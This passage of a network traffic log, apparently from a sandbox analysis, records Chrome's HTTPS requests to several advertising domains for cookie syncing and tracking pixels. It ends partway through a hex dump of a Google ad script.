Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1
2024-01-10 23:27:20 UTC	670	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1;Expires=Mon, 08 Jul 2024 23:27:20 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Connection: close
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:20 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.4	50209	198.148.27.131	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	927	OUT	GET /bh/rtset?ev=AABsm07LPlAAABMLLoldYg&do=add&pid=558502&rurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26bee_sync_partners%3Dsas%252Csyn%252Cpm%26bee_sync_current_partner%3Dpp%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D2&gdpr=0 HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	1116	IN	HTTP/1.1 302 Found Connection: close P3P: policyref="/bh/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Accept-CH: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version CW-Server: bh-deployment-5b8764964b-ktxmg Cache-Control: private, max-age=0, no-cache, no-store Expires: -1 Content-Language: en-US Set-Cookie: V=ufcOe1pPgxab;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sat, 04-Jan-2025 23:27:20 GMT;Max-Age=31104000;SameSite=None Set-Cookie: pb_rtb_ev=3-1p1u\|7dN.0.AABsm07LPlAAABMLLoldYg;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Thu, 09-Jan-2025 23:27:20 GMT;Max-Age=31536000;SameSite=None Location: https://match.prod.bidr.io/cookie-sync?gdpr=0&bee_sync_partners=sas%2Csyn%2Cpm&bee_sync_current_partner=pp&bee_sync_initiator=adx&bee_sync_hop_count=2&ev=AABsm07LPlAAABMLLoldYg&pid=558502&do=add&gdpr=0 Server: Jetty(10.0.14) Strict-Transport-Security: max-age=15768000 Set-Cookie: INGRESSCOOKIE=f7ab3634e7e74d8c; path=/; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.4	50201	69.194.240.13	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	948	OUT	GET /usersync2/brxd?gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
2024-01-10 23:27:20 UTC	165	IN	HTTP/1.1 204 No Content date: Wed, 10 Jan 2024 23:27:20 GMT cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.4	50213	35.186.193.173	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	816	OUT	GET /int/cm?exc=20&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&callback=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dctn%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26ovsid%3D%3CDSP_USER_ID%3E%26axid_e%3D%26 HTTP/1.1 Host: i.ctnsnet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	757	IN	HTTP/1.1 302 Found Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CUR OUR NOR" Set-Cookie: cid_3eb4f1d28af642b8a97d60a85e0f7108=1; path=/; domain=.ctnsnet.com; expires=Thu, 09 Jan 2025 23:27:20 GMT; Secure; SameSite=None; Pragma: no-cache Cache-Control: no-cache, must-revalidate Expires: Fri, 01 Jan 1990 00:00:00 GMT x-xss-protection: 1; mode=block Status: 302 Location: https://hb.yahoo.net/cksync.php?cs=1&vsid=3479308310180275000V10&type=ctn&refUrl=&vid=49292349683479308310180275000V10&ovsid=3eb4f1d28af642b8a97d60a85e0f7108&axid_e=&y=null&gdpr=0 Content-Type: text/html;charset=UTF-8 Content-Length: 0 Date: Wed, 10 Jan 2024 23:27:19 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.4	50212	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	1059	OUT	GET /cksync.php?cs=1&type=apx&ovsid=7367141199740274687&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1
2024-01-10 23:27:20 UTC	662	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-apx=7367141199740274687~~1;Expires=Mon, 08 Apr 2024 23:27:20 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Connection: close
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:20 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.4	50219	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	795	OUT	GET /rum?cm_dsp_id=39&external_user_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&expiration=1707521239&gdpr=0&gdpr_consent= HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:20 UTC	983	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0a95f0e0609-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=n7t28FWBDlusvJvtx2UA19pegZiOCQMudfqMonvfV5me0ccGPgmyUESmq2prtTZw%2FQdmJVzv8S3UrGNZovRRD1rIA3m%2BtZAB%2FjLkxzsVOPqcSc8MwLH06cxH0eXeipdHDAN3SISJ3wccCw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.4	50216	23.205.72.21	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	962	OUT	GET /cksync?cs=1&type=ttd&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b HTTP/1.1 Host: cs.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-c-ts=1704929238; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8
2024-01-10 23:27:20 UTC	571	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1;Expires=Wed, 24 Jan 2024 23:27:20 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Connection: close
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:20 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.4	50205	3.226.188.133	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	617	OUT	GET /verizonsync?gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	750	IN	HTTP/1.1 302 Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Type: application/json;charset=utf-8 Content-Length: 0 Connection: close Set-Cookie: yieldmo_id=VEeMJ__OOM_smh2PNiGG%7C1704844800000%7C0; Max-Age=31536000; Expires=Thu, 09 Jan 2025 23:27:20 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Location: https://hb.yahoo.net/cksync.php?cs=1&type=58259&ovsid=VEeMJ__OOM_smh2PNiGG&gdpr=0&gdpr_consent=&gpp=&gpp_sid= Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.4	50208	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	772	OUT	GET /pagead/js/rum.js HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:20 UTC	698	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 66124 X-XSS-Protection: 0 Date: Wed, 10 Jan 2024 22:48:13 GMT Expires: Wed, 10 Jan 2024 23:48:13 GMT Cache-Control: public, max-age=3600 Age: 2347 ETag: 10902498161188913397 Content-Type: text/javascript; charset=ISO-8859-1 Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:20 UTC	554	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 76 61 72 20 63 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c Data Ascii: (function(){function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.val
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 28 22 78 22 29 2c 70 3d 7b 7d 2c 68 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 61 2c 62 2c 63 29 7b 69 66 28 21 63 7c 7c 6e 75 6c 6c 21 3d 61 29 7b 63 3d 68 61 5b 62 5d 3b 69 66 28 6e 75 6c 6c 3d 3d 63 29 72 65 74 75 72 6e 20 61 5b 62 5d 3b 63 3d 61 5b 63 5d 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 63 3f 63 3a 61 5b 62 5d 7d 7d 20 0a 66 75 6e 63 74 69 6f 6e 20 69 61 28 61 2c 62 2c 63 29 7b 69 66 28 62 29 61 3a 7b 76 61 72 20 64 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 61 3d 31 3d 3d 3d 64 2e 6c 65 6e 67 74 68 3b 76 61 72 20 65 3d 64 5b 30 5d 2c 66 3b 21 61 26 26 65 20 69 6e 20 70 3f 66 3d 70 3a Data Ascii: nction"===typeof Symbol&&"symbol"===typeof Symbol("x"),p={},ha={};function r(a,b,c){if(!c\|\|null!=a){c=ha[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]}} function ia(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in p?f=p:
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 69 67 6e 22 29 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 31 3b 63 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 61 72 67 75 6d 65 6e 74 73 5b 63 5d 3b 69 66 28 64 29 66 6f 72 28 76 61 72 20 65 20 69 6e 20 64 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 64 2c 65 29 26 26 28 61 5b 65 5d 3d 64 5b 65 5d 29 7d 72 65 74 75 72 6e 20 61 7d 3b 69 61 28 22 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 6b 61 7d 2c 22 65 73 36 22 29 3b 20 0a 76 61 72 20 6c 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f Data Ascii: ign"):function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};ia("Object.assign",function(a){return a\|\|ka},"es6"); var la="function"==typeof Object.create?O
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 63 6c 75 64 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 74 68 69 73 3b 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 26 26 28 64 3d 53 74 72 69 6e 67 28 64 29 29 3b 76 61 72 20 65 3d 64 2e 6c 65 6e 67 74 68 3b 63 3d 63 7c 7c 30 3b 66 6f 72 28 30 3e 63 26 26 28 63 3d 4d 61 74 68 2e 6d 61 78 28 63 2b 65 2c 30 29 29 3b 63 3c 65 3b 63 2b 2b 29 7b 76 61 72 20 66 3d 64 5b 63 5d 3b 69 66 28 66 3d 3d 3d 62 7c 7c 72 28 4f 62 6a 65 63 74 2c 22 69 73 22 29 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 2c 66 2c 62 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 7d 2c 22 65 73 37 22 29 3b 20 0a 69 61 28 22 53 Data Ascii: rray.prototype.includes",function(a){return a?a:function(b,c){var d=this;d instanceof String&&(d=String(d));var e=d.length;c=c\|\|0;for(0>c&&(c=Math.max(c+e,0));c<e;c++){var f=d[c];if(f===b\|\|r(Object,"is").call(Object,f,b))return!0}return!1}},"es7"); ia("S
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 76 61 72 20 7a 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 76 61 28 61 2c 62 29 7b 61 3a 7b 76 61 72 20 63 3d 5b 22 43 4c 4f 53 55 52 45 5f 46 4c 41 47 53 22 5d 3b 66 6f 72 28 76 61 72 20 64 3d 7a 2c 65 3d 30 3b 65 3c 63 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 66 28 64 3d 64 5b 63 5b 65 5d 5d 2c 6e 75 6c 6c 3d 3d 64 29 7b 63 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 63 3d 64 7d 61 3d 63 26 26 63 5b 61 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 61 3f 61 3a 62 7d 66 75 6e 63 74 69 6f 6e 20 77 61 28 61 29 7b 76 61 72 20 62 3d 74 79 70 65 6f 66 20 61 3b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 21 3d 62 3f 62 3a 61 3f 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 Data Ascii: ntifier: Apache-2.0 */ var z=this\|\|self;function va(a,b){a:{var c=["CLOSURE_FLAGS"];for(var d=z,e=0;e<c.length;e++)if(d=d[c[e]],null==d){c=null;break a}c=d}a=c&&c[a];return null!=a?a:b}function wa(a){var b=typeof a;return"object"!=b?b:a?Array.isArray(a)
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 6f 6e 20 47 61 28 29 7b 76 61 72 20 61 3d 7a 2e 6e 61 76 69 67 61 74 6f 72 3b 72 65 74 75 72 6e 20 61 26 26 28 61 3d 61 2e 75 73 65 72 41 67 65 6e 74 29 3f 61 3a 22 22 7d 76 61 72 20 48 61 2c 49 61 3d 7a 2e 6e 61 76 69 67 61 74 6f 72 3b 48 61 3d 49 61 3f 49 61 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 7c 7c 6e 75 6c 6c 3a 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 4b 61 28 61 29 7b 72 65 74 75 72 6e 20 45 61 3f 48 61 3f 48 61 2e 62 72 61 6e 64 73 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 28 62 3d 62 2e 62 72 61 6e 64 29 26 26 2d 31 21 3d 62 2e 69 6e 64 65 78 4f 66 28 61 29 7d 29 3a 21 31 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 29 7b 72 65 74 75 72 6e 2d 31 21 3d 47 61 28 29 2e 69 6e 64 65 78 4f 66 28 61 29 7d 3b 66 75 Data Ascii: on Ga(){var a=z.navigator;return a&&(a=a.userAgent)?a:""}var Ha,Ia=z.navigator;Ha=Ia?Ia.userAgentData\|\|null:null;function Ka(a){return 